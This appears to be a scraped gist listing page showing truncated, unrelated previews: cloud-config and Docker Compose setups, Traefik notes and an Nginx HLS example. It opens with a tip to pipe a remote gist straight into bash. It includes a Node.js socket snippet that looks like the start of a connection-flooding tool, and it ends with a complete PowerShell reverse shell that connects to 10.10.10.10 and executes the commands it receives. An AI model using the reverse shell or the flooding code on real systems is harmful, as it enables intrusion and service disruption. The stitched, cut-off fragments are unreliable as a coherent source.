Shells that support process substitution such as bash and zsh allow to run shell script on gist as follows.
# With curl:
bash <(curl -sL ${GIST_URL}) args...
# With wget:| #cloud-config | |
| package_update: true | |
| package_upgrade: true | |
| packages: | |
| # Update the apt package index and install packages needed to use the Docker and Kubernetes apt repositories over HTTPS | |
| - apt-transport-https | |
| - ca-certificates | |
| - curl | |
| - gnupg | |
| - lsb-release |
| version: "3.4" | |
| x-defaults: &defaults | |
| image: "dask-dev/dask-notebook" | |
| # With lists, each entry requires its own anchor if you | |
| # intend to extend/reuse an entry in concrete services. | |
| configs: | |
| - &configs_condarc | |
| source: "condarc" |
| MAINTENANCE_MODE=0 |
| #cloud-config | |
| groups: | |
| - docker | |
| users: | |
| - default | |
| # the docker service account | |
| - name: docker-service | |
| groups: docker | |
| package_upgrade: true | |
| packages: |
| version: "3.3" | |
| services: | |
| ################################################ | |
| #### Traefik Proxy Setup ##### | |
| ############################################### | |
| traefik: | |
| image: traefik:v2.0 | |
| restart: always |
| Docker 23 + Traefik v2.9.10 and v1.7 + Let's Encrypt + Github Registry V2 ghcr.io + Updated on 12 April 2023 | |
| Content: | |
| - Ubuntu 22.04 | |
| - Docker Engine 23.0.3 | |
| - Docker Compose 2.17.2 | |
| - Traefik v1.7.18 with dnsChallenge | |
| - Traefik v2.9.9 with httpChallenge | |
| -- | |
| - Github Registry V2 ghcr.io |
| const net = require('net') | |
| const opts = { | |
| host: 'localhost', | |
| port: 1234, | |
| sockets: 2000, | |
| respawn: false, | |
| rate: 600, | |
| method: 'GET', | |
| path: '/' |
This example is part of this article.
This is an example for an HLS delivery with basic security. Nginx compiled with nginx-rtmp-module & secure-link is used as media server. Features:
| # Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html | |
| $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |